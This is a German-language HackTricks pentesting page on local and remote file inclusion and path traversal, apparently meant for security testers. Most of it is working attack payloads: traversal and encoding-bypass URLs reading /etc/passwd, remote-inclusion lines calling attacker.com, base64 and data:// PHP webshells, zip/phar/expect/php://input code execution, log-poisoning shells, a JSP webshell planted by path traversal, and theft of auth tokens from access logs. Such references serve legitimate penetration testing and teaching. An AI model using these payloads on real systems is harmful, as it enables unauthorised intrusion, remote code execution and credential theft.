File Inclusion/Path traversal

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

File Inclusion

Remote File Inclusion (RFI): Die Datei wird von einem entfernten Server geladen (Am besten: Du kannst den Code schreiben und der Server führt ihn aus). In php ist dies standardmäßig deaktiviert (allow_url_include).
Local File Inclusion (LFI): Der Server lädt eine lokale Datei.

Die Schwachstelle tritt auf, wenn ein Nutzer in irgendeiner Weise die Datei kontrollieren kann, die vom Server geladen werden soll.

Anfällige PHP-Funktionen: require, require_once, include, include_once

Ein interessantes Tool, um diese Schwachstelle auszunutzen: https://github.com/kurobeats/fimap

Blind - Interessant - LFI2RCE Dateien

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Ich habe mehrere *nix LFI-Listen kombiniert und weitere Pfade hinzugefügt; diese hier erstellt:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Versuche auch, / durch \\
Versuche außerdem, ../../../../../ hinzuzufügen

Eine Liste, die mehrere Techniken verwendet, um die Datei /etc/password zu finden (um zu prüfen, ob die Schwachstelle existiert), ist hier zu finden.

Windows

Merge of different wordlists:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Versuche auch, / durch \\
Versuche außerdem, C:/ zu entfernen und ../../../../../ hinzuzufügen

Eine Liste, die mehrere Techniken verwendet, um die Datei /boot.ini zu finden (um zu prüfen, ob die Schwachstelle existiert), ist hier zu finden.

OS X

Sieh dir die LFI-Liste von linux an.

Grundlegendes zu LFI und Bypasses

Alle Beispiele beziehen sich auf Local File Inclusion, können aber auch auf Remote File Inclusion angewendet werden (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences stripped non-recursively

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass, um das Anhängen weiterer Zeichen am Ende des übergebenen Strings zu umgehen (bypass of: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

Das ist seit PHP 5.4 behoben

Kodierung

Du könntest nicht standardmäßige Encodings wie double URL encode (und andere) verwenden:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

Moderne HTML-to-PDF-Engines (z. B. TCPDF oder Wrapper wie html2pdf) parsen bereitwillig vom Angreifer bereitgestelltes HTML, SVG, CSS und Font-URLs, laufen jedoch innerhalb vertrauenswürdiger Backend-Netzwerke mit Dateisystemzugriff. Sobald Sie HTML in $pdf->writeHTML()/Html2Pdf::writeHTML() injizieren können, können Sie häufig lokale Dateien exfiltrieren, die das Webserver-Konto lesen kann.

  • Fingerprint the renderer: jedes erzeugte PDF enthält ein Producer-Feld (z. B. TCPDF 6.8.2). Die genaue Build-Version zu kennen sagt Ihnen, welche Pfadfilter existieren und ob URL-Decoding vor der Validierung erfolgt.
  • Inline SVG payloads: TCPDF::startSVGElementHandler() liest das xlink:href-Attribut von <image>-Elementen, bevor urldecode() ausgeführt wird. Ein bösartiges SVG in eine data URI einzubetten lässt viele HTML-Sanitizer die Payload ignorieren, während TCPDF sie trotzdem parst:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF fügt $_SERVER['DOCUMENT_ROOT'] vor Pfaden ein, die mit / beginnen, und löst .. erst später auf, also verwende entweder führende ../../..-Segmente oder /../../.., um nach dem Voranstellen den Root zu umgehen.

  • Kodierung, um naive Filter zu umgehen: Versionen ≤6.8.2 prüfen nur auf die wörtliche Teilzeichenfolge ../ bevor die URL decodiert wird. Das Senden von ..%2f (oder ..%2F) im SVG oder in einem rohen <img src>-Attribut umgeht die Prüfung, da die Traversal-../-Sequenz erst wiederhergestellt wird, nachdem TCPDF urldecode() aufruft.
  • Doppeltkodierung für mehrstufige Decodierung: Wenn Benutzereingaben sowohl vom Webframework als auch von TCPDF decodiert werden, doppelkodiere den Slash (%252f). Eine Decodierung macht daraus %2f, die zweite Decodierung in TCPDF macht daraus /, was /..%252f../../../../… ergibt, ohne dem frühen Filter jemals ../ zu zeigen.
  • HTML <img>-Handler: TCPDF::openHTMLTagHandler() enthält denselben Bug in der Reihenfolge der Operationen, wodurch direkte HTML-Payloads wie src="%2f..%252f..%252ftmp%252fsecret.png" das Lesen beliebiger lokal erreichbarer Bitmaps erlauben.

Diese Technik leaks alles, was vom PDF-Worker lesbar ist (Passport-Scans, API keys als Bilder gerendert, etc.). Die Maintainer haben es in 6.9.1 durch Kanonisierung der Pfade (isRelativePath()) behoben, daher bei Tests ältere Producer-Versionen priorisieren.

Aus vorhandenem Ordner

Vielleicht überprüft das Back-end den Ordnerpfad:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Erkundung von Verzeichnissen im Dateisystem eines Servers

Das Dateisystem eines Servers kann rekursiv untersucht werden, um Verzeichnisse — nicht nur Dateien — zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst das Bestimmen der Verzeichnistiefe und das Abfragen des Vorhandenseins spezifischer Ordner. Nachfolgend eine detaillierte Methode, um dies zu erreichen:

  1. Verzeichnistiefe bestimmen: Ermittele die Tiefe deines aktuellen Verzeichnisses, indem du erfolgreich die Datei /etc/passwd abrufst (gilt, wenn der Server Linux-basiert ist). Ein Beispiel-URL könnte wie folgt aufgebaut sein und eine Tiefe von drei anzeigen:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Auf Ordner prüfen: Hänge den Namen des vermuteten Ordners (z. B. private) an die URL an, navigiere dann zurück zu /etc/passwd. Die zusätzliche Verzeichnisebene erfordert, die Tiefe um eins zu erhöhen:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpretation der Ergebnisse: Die Serverantwort zeigt an, ob der Ordner existiert:
  • Fehler / Keine Ausgabe: Der Ordner private existiert vermutlich nicht an dem angegebenen Ort.
  • Inhalt von /etc/passwd: Das Vorhandensein des Ordners private ist bestätigt.
  1. Rekursive Erkundung: Entdeckte Ordner können weiter nach Unterverzeichnissen oder Dateien untersucht werden, indem dieselbe Technik oder traditionelle Local File Inclusion (LFI)-Methoden verwendet werden.

Um Verzeichnisse an anderen Orten im Dateisystem zu untersuchen, passen Sie die Payload entsprechend an. Beispielsweise können Sie, um zu prüfen, ob /var/www/ ein Verzeichnis private enthält (angenommen, das aktuelle Verzeichnis hat eine Tiefe von 3), Folgendes verwenden:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation ist eine Methode, um Dateipfade in Webanwendungen zu manipulieren. Es wird häufig verwendet, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen an das Ende von Dateipfaden anhängen. Das Ziel ist es, einen Dateipfad zu erstellen, der, nachdem er durch die Sicherheitsmaßnahme verändert wurde, immer noch auf die gewünschte Datei zeigt.

In PHP können verschiedene Darstellungen eines Dateipfads aufgrund der Funktionsweise des Dateisystems als gleich betrachtet werden. Zum Beispiel:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ werden alle als derselbe Pfad behandelt.
  • Wenn die letzten 6 Zeichen passwd sind, ändert das Anhängen eines / (also passwd/) die gezielte Datei nicht.
  • Ähnlich: wenn .php an einen Dateipfad angehängt ist (wie shellcode.php), ändert das Hinzufügen von /. am Ende nicht die aufgerufene Datei.

Die folgenden Beispiele zeigen, wie man Path truncation nutzt, um auf /etc/passwd zuzugreifen, ein häufiges Ziel aufgrund seines sensiblen Inhalts (Benutzerkontoinformationen):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

In diesen Szenarien könnte die Anzahl der benötigten traversals bei etwa 2027 liegen, aber dieser Wert kann je nach Konfiguration des Servers variieren.

  • Verwendung von Dot Segments und zusätzlichen Zeichen: Traversal sequences (../) kombiniert mit zusätzlichen Dot Segments und Zeichen können verwendet werden, um im Dateisystem zu navigieren und angehängte Strings, die der Server hinzufügt, effektiv zu ignorieren.
  • Bestimmung der benötigten Anzahl an Traversals: Durch Trial-and-Error kann man die genaue Anzahl der ../-Sequenzen herausfinden, die nötig sind, um zum root directory und anschließend zu /etc/passwd zu gelangen. Dabei wird sichergestellt, dass angehängte Strings (wie .php) neutralisiert werden, während der gewünschte Pfad (/etc/passwd) intakt bleibt.
  • Beginn mit einem Fake-Verzeichnis: Es ist üblich, den Pfad mit einem nicht existierenden Verzeichnis (z. B. a/) zu beginnen. Diese Technik wird als Vorsichtsmaßnahme verwendet oder um die Anforderungen der Pfadparsing-Logik des Servers zu erfüllen.

Beim Einsatz von path truncation techniques ist es entscheidend, das Parsen von Pfaden durch den Server und die Struktur des Dateisystems zu verstehen. Jedes Szenario kann einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.

Diese Schwachstelle wurde in PHP 5.3 behoben.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

In php ist dies standardmäßig deaktiviert, weil allow_url_include auf Off steht. Es muss auf On gesetzt sein, damit es funktioniert, und in diesem Fall könntest du eine PHP-Datei von deinem Server einbinden und RCE erhalten:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Wenn aus irgendeinem Grund allow_url_include auf On steht, PHP jedoch den Zugriff auf externe Webseiten filtert, according to this post, könntest du zum Beispiel das data-Protokoll mit base64 verwenden, um einen b64 PHP-Code zu decodieren und RCE zu erhalten:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Offen gelegtes .git Repository (Source Disclosure)

Wenn der Webserver /.git/ offenlegt, kann ein Angreifer oft das vollständige repository rekonstruieren (einschließlich commit history) und die Anwendung offline prüfen. Das offenbart häufig versteckte endpoints, secrets, SQL queries und admin-only functionality.

Schnelle Prüfungen:

curl -s -i http://TARGET/.git/HEAD
curl -s -i http://TARGET/.git/config

Repository mit git-dumper auslesen:

uv tool install git-dumper
git-dumper http://TARGET/.git/ out/

Dann stelle den working tree wieder her:

cd out
git checkout .

Tip

Im vorherigen Code wurde das abschließende +.txt hinzugefügt, weil der Angreifer einen String benötigte, der auf .txt endet. Daher endet der String damit und nach dem b64 decode wird dieser Teil nur Müll zurückgeben und der eigentliche PHP-Code eingebunden (und damit ausgeführt).

Ein weiteres Beispiel, das nicht das php://-Protokoll verwendet, wäre:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python Root-Element

In Python in einem Code wie diesem:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Wenn der Benutzer einen absoluten Pfad an file_name übergibt, wird der vorherige Pfad einfach entfernt:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Das ist das beabsichtigte Verhalten laut the docs:

Wenn eine Komponente ein absoluter Pfad ist, werden alle vorherigen Komponenten verworfen und das Zusammenfügen wird von der Komponente des absoluten Pfads fortgesetzt.

Java: Verzeichnisse auflisten

Es scheint, dass wenn du in Java eine Path Traversal hast und du statt einer Datei nach einem Verzeichnis fragst, eine Auflistung des Verzeichnisses zurückgegeben wird. Das tritt in anderen Sprachen nicht auf (soviel ich weiß).

Top-25-Parameter

Hier ist eine Liste der Top-25-Parameter, die für local file inclusion (LFI) Schwachstellen anfällig sein könnten (von link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI mit PHP wrappers & protocols

php://filter

PHP filters erlauben grundlegende Modifikationsoperationen an den Daten durchzuführen, bevor sie gelesen oder geschrieben werden. Es gibt 5 Kategorien von Filtern:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Entfernt Tags aus den Daten (alles zwischen den Zeichen “<” und “>”)
  • Beachte, dass dieser Filter in modernen PHP-Versionen nicht mehr vorhanden ist
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Wandelt in eine andere Kodierung um (convert.iconv.<input_enc>.<output_enc>). Um die Liste aller unterstützten Zeichencodierungen zu erhalten, führe in der Konsole aus: iconv -l

Warning

Durch Missbrauch des convert.iconv.* Conversion-Filters kannst du beliebigen Text generieren, was nützlich sein kann, um beliebigen Text zu schreiben oder Funktionen wie include dazu zu bringen, beliebigen Text zu verarbeiten. Für mehr Infos siehe LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Komprimiert den Inhalt (nützlich, wenn viel info exfiltrating werden soll)
  • zlib.inflate: Dekomprimiert die Daten
  • Encryption Filters
  • mcrypt.* : veraltet
  • mdecrypt.* : veraltet
  • Andere Filter
  • Führt man in php var_dump(stream_get_filters()); aus, findet man ein paar unerwartete Filter:
  • consumed
  • dechunk: kehrt HTTP chunked encoding um
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

Der Teil “php://filter” ist unabhängig von Groß-/Kleinschreibung

Verwendung von php filters als oracle zum Lesen beliebiger Dateien

In diesem Beitrag wird eine Technik vorgeschlagen, um eine lokale Datei zu lesen, ohne dass die Ausgabe vom Server zurückgegeben wird. Diese Technik basiert auf einer booleschen exfiltration der Datei (Zeichen für Zeichen) unter Verwendung von php filters als oracle. Dies liegt daran, dass php filters verwendet werden können, um einen Text so weit zu vergrößern, dass php eine Ausnahme wirft.

Im Originalbeitrag findest du eine detaillierte Erklärung der Technik, hier eine kurze Zusammenfassung:

  • Verwende den Codec UCS-4LE, um das führende Zeichen des Textes am Anfang zu belassen und die Größe des Strings exponentiell wachsen zu lassen.
  • Das wird genutzt, um einen Text zu erzeugen, der so groß wird, sobald der Anfangsbuchstabe korrekt geraten wurde, dass php einen Fehler auslöst.
  • Der dechunk-Filter wird alles entfernen, wenn das erste Zeichen kein Hexadezimalzeichen ist, sodass wir erkennen können, ob das erste Zeichen hexadezimal ist.
  • Dies, kombiniert mit dem vorherigen (und anderen Filtern abhängig vom geratenen Zeichen), erlaubt es uns, ein Zeichen am Anfang des Textes zu erraten, indem wir sehen, wann wir genug Transformationen durchführen, damit es kein hexadezimales Zeichen mehr ist. Denn wenn es hex ist, löscht dechunk es nicht und die initiale Bombe verursacht den php-Fehler.
  • Der Codec convert.iconv.UNICODE.CP930 transformiert jeden Buchstaben in den folgenden (also a -> b). Das erlaubt zu erkennen, ob das erste Zeichen z. B. ein a ist, weil wenn wir diesen Codec 6‑mal anwenden (a->b->c->d->e->f->g), das Zeichen nicht mehr im hex-Bereich liegt, deshalb löscht dechunk es nicht und der php-Fehler wird ausgelöst, weil es mit der initialen Bombe multipliziert.
  • Durch andere Transformationen wie rot13 am Anfang ist es möglich, andere chars wie n, o, p, q, r zu leak’en (und andere Codecs können genutzt werden, um andere Buchstaben in den Hex-Bereich zu verschieben).
  • Wenn das Anfangszeichen eine Zahl ist, muss es mit base64 kodiert werden und die ersten beiden Buchstaben leak’en, um die Zahl zu ermitteln.
  • Das finale Problem ist zu sehen, wie man mehr als das Anfangszeichen leak’en kann. Durch die Verwendung von order memory filters wie convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE ist es möglich, die Reihenfolge der Zeichen zu ändern und andere Buchstaben des Textes an die erste Position zu bringen.
  • Und um weitergehende Daten zu erhalten, ist die Idee, mit convert.iconv.UTF16.UTF16 zwei Byte Junkdaten am Anfang zu erzeugen, UCS-4LE anzuwenden, damit diese mit den nächsten zwei Bytes pivotieren, und dlösche die Daten bis zu den Junkdaten (das entfernt die ersten zwei Bytes des ursprünglichen Textes). Das wiederholen, bis das gewünschte Bit zum leak’en erreicht ist.

Im Beitrag wurde auch ein Tool veröffentlicht, um dies automatisch durchzuführen: php_filters_chain_oracle_exploit.

php://fd

Dieser Wrapper erlaubt den Zugriff auf Dateideskriptoren, die der Prozess geöffnet hat. Potenziell nützlich, um den Inhalt geöffneter Dateien zu exfiltrieren:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Du kannst außerdem php://stdin, php://stdout and php://stderr verwenden, um auf die file descriptors 0, 1 and 2 zuzugreifen (nicht sicher, wie das in einem Angriff nützlich sein könnte)

zip:// and rar://

Lade eine Zip- oder Rar-Datei mit einer PHPShell darin hoch und greife darauf zu.
Um das rar-Protokoll ausnutzen zu können, muss es speziell aktiviert werden.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Beachte, dass dieses Protokoll durch php-Konfigurationen allow_url_open und allow_url_include eingeschränkt ist

expect://

Expect muss aktiviert sein. Du kannst damit Code ausführen:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Geben Sie Ihr payload in den POST-Parametern an:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Eine .phar-Datei kann verwendet werden, um PHP-Code auszuführen, wenn eine Webanwendung Funktionen wie include zum Laden von Dateien nutzt. Das unten gezeigte PHP-Codebeispiel demonstriert die Erstellung einer .phar-Datei:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Um die .phar-Datei zu kompilieren, muss der folgende Befehl ausgeführt werden:

php --define phar.readonly=0 create_path.php

Beim Ausführen wird eine Datei namens test.phar erstellt, die potenziell zur Ausnutzung von Local File Inclusion (LFI)-Schwachstellen verwendet werden kann.

Wenn das LFI nur Dateien liest, ohne den darin enthaltenen PHP-Code auszuführen — z. B. via file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime() oder filesize() —, kann versucht werden, eine Deserialisierungs-Schwachstelle auszunutzen. Diese Schwachstelle hängt mit dem Lesen von Dateien über das phar-Protokoll zusammen.

Für ein ausführliches Verständnis der Ausnutzung von Deserialisierungs-Schwachstellen im Kontext von .phar-Dateien lies das unten verlinkte Dokument:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

Es war möglich, jede beliebige von PHP gelesene Datei, die php filters unterstützt, zu missbrauchen, um eine RCE zu erreichen. Die detaillierte Beschreibung kann found in this post.
Kurzfassung: ein 3 byte overflow im PHP-Heap wurde ausgenutzt, um alter the chain of free chunks einer bestimmten Größe zu verändern, um write anything in any address zu ermöglichen, sodass ein Hook hinzugefügt wurde, der system aufruft.
Es war möglich, Chunks spezifischer Größen zu allocen, indem weitere php filters missbraucht wurden.

More protocols

Überprüfe weitere mögliche protocols to include here:

  • php://memory and php://temp — Schreibt in den Speicher oder in eine temporäre Datei (nicht sicher, wie das in einem file inclusion attack nützlich sein kann)
  • file:// — Zugriff auf das lokale Dateisystem
  • http:// — Zugriff auf HTTP(s)-URLs
  • ftp:// — Zugriff auf FTP(s)-URLs
  • zlib:// — Kompressions-Streams
  • glob:// — Findet Pfadnamen, die einem Muster entsprechen (Gibt nichts Druckbares zurück, daher hier nicht wirklich nützlich)
  • ssh2:// — Secure Shell 2
  • ogg:// — Audio-Streams (Nicht nützlich, um beliebige Dateien zu lesen)

LFI via PHP’s ‘assert’

Die Risiken von Local File Inclusion (LFI) in PHP sind besonders hoch beim Umgang mit der ‘assert’-Funktion, die Code innerhalb von Strings ausführen kann. Das ist besonders problematisch, wenn Eingaben mit Directory-Traversal-Zeichen wie “..” geprüft, aber nicht richtig bereinigt werden.

Zum Beispiel könnte PHP-Code so gestaltet sein, um Directory Traversal zu verhindern:

assert("strpos('$file', '..') === false") or die("");

Obwohl dies traversal stoppen soll, schafft es unbeabsichtigt einen Vektor für code injection. Um dies zum Lesen von Datei-Inhalten auszunutzen, könnte ein attacker Folgendes verwenden:

' and die(highlight_file('/etc/passwd')) or '

Ähnlich könnte man zum Ausführen beliebiger Systembefehle Folgendes verwenden:

' and die(system("id")) or '

Es ist wichtig, URL-encode these payloads.

PHP Blind Path Traversal

Warning

Diese Technik ist relevant in Fällen, in denen du den file path einer PHP function kontrollierst, die auf eine Datei zugreift, aber du den Inhalt der Datei nicht siehst (z. B. ein einfacher Aufruf von file()).

In diesem großartigen Beitrag wird erklärt, wie ein blind path traversal via PHP filter missbraucht werden kann, um exfiltrate the content of a file via an error oracle.

Kurz zusammengefasst nutzt die Technik die “UCS-4LE” encoding, um den Inhalt einer Datei so big zu machen, dass die PHP function opening die Datei öffnet und einen error auslöst.

Dann wird, um das erste Zeichen zu leak, der Filter dechunk zusammen mit anderen wie base64 oder rot13 verwendet; schließlich werden die Filter convert.iconv.UCS-4.UCS-4LE und convert.iconv.UTF16.UTF-16BE eingesetzt, um andere Zeichen an den Anfang zu platzieren und sie zu leak.

Funktionen, die möglicherweise verwundbar sind: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Für die technischen Details siehe den erwähnten Beitrag!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

Wenn serverseitiger Code, der Dateien entgegennimmt/hochlädt, den Zielpfad aus benutzerkontrollierten Daten (z. B. einem Dateinamen oder URL) erstellt, ohne zu kanonisieren und zu validieren, können ..-Segmente und absolute Pfade aus dem vorgesehenen Verzeichnis entkommen und einen arbitrary file write verursachen. Wenn du die payload in einem web-exponierten Verzeichnis ablegen kannst, erhältst du üblicherweise unauthenticated RCE, indem du eine webshell ablegst.

Typischer Exploit-Ablauf:

  • Identifiziere ein write primitive in einem Endpoint oder Hintergrund-Worker, das einen path/filename akzeptiert und Inhalt auf die Festplatte schreibt (z. B. message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
  • Bestimme web-exponierte Verzeichnisse. Häufige Beispiele:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Erstelle einen traversal path, der aus dem vorgesehenen Storage-Verzeichnis in den webroot ausbricht, und füge deinen webshell-Inhalt ein.
  • Rufe die abgelegte payload im Browser auf und führe Befehle aus.

Hinweise:

  • Der verwundbare Service, der den Schreibvorgang ausführt, kann auf einem non-HTTP-Port lauschen (z. B. ein JMF XML listener auf TCP 4004). Das Hauptwebportal (anderer Port) wird später deine payload servieren.
  • In Java-Stacks werden diese Datei-Schreibvorgänge oft mittels einfacher File/Paths-Konkatenation implementiert. Fehlende canonicalisation/allow-listing ist der Kernfehler.

Generisches XML/JMF-artiges Beispiel (Produkt-Schemas variieren – der DOCTYPE/body-Wrapper ist für den traversal irrelevant):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Hardening that defeats this class of bugs:

  • Auf einen kanonischen Pfad auflösen und sicherstellen, dass er ein Nachkomme eines allow-listed Basisverzeichnisses ist.
  • Jeden Pfad ablehnen, der .., absolute Wurzelverzeichnisse oder Laufwerksbuchstaben enthält; bevorzugt generierte Dateinamen.
  • Den Writer als wenig privilegierten Account ausführen und Schreibverzeichnisse von den bereitgestellten Roots trennen.

Remote File Inclusion

Zuvor erklärt, follow this link.

Über Apache/Nginx-Logdatei

Wenn der Apache- oder Nginx-Server vulnerable to LFI innerhalb der include function ist, können Sie versuchen, auf /var/log/apache2/access.log or /var/log/nginx/access.log zuzugreifen, im user agent oder in einem GET parameter eine php shell wie <?php system($_GET['c']); ?> zu setzen und diese Datei zu include.

Warning

Beachte, dass wenn du doppelte Anführungszeichen für die Shell statt einfache Anführungszeichen verwendest, die doppelten Anführungszeichen für den String “quote;” verändert werden, PHP wird dort einen Fehler auslösen und nichts anderes wird ausgeführt.

Stelle außerdem sicher, dass du die Payload korrekt schreibst oder PHP bei jedem Versuch, die Logdatei zu laden, einen Fehler ausgibt und du keine zweite Gelegenheit bekommst.

Dies kann auch in anderen Logs gemacht werden, aber sei vorsichtig, der Code in den Logs könnte URL-codiert sein und das könnte die Shell zerstören. Der Header authorisation “basic” enthält “user:password” in Base64 und wird in den Logs decodiert. Die PHPShell könnte in diesen Header eingefügt werden.
Andere mögliche Log-Pfade:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Zugriff auf access logs, um GET-basierte auth tokens zu ernten (token replay)

Viele Apps akzeptieren fälschlicherweise session/auth tokens über GET (z.B. AuthenticationToken, token, sid). Wenn du eine path traversal/LFI-Primitive hast, die Zugriff auf web server logs erlaubt, kannst du diese Tokens aus den access logs stehlen und sie replayen, um die Authentifizierung vollständig zu umgehen.

Vorgehen:

  • Verwende die traversal/LFI-Primitive, um das web server access log zu lesen. Gängige Speicherorte:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Einige Endpunkte geben Datei-Lesungen Base64-encodiert zurück. Falls ja, dekodiere lokal und untersuche die Logzeilen.
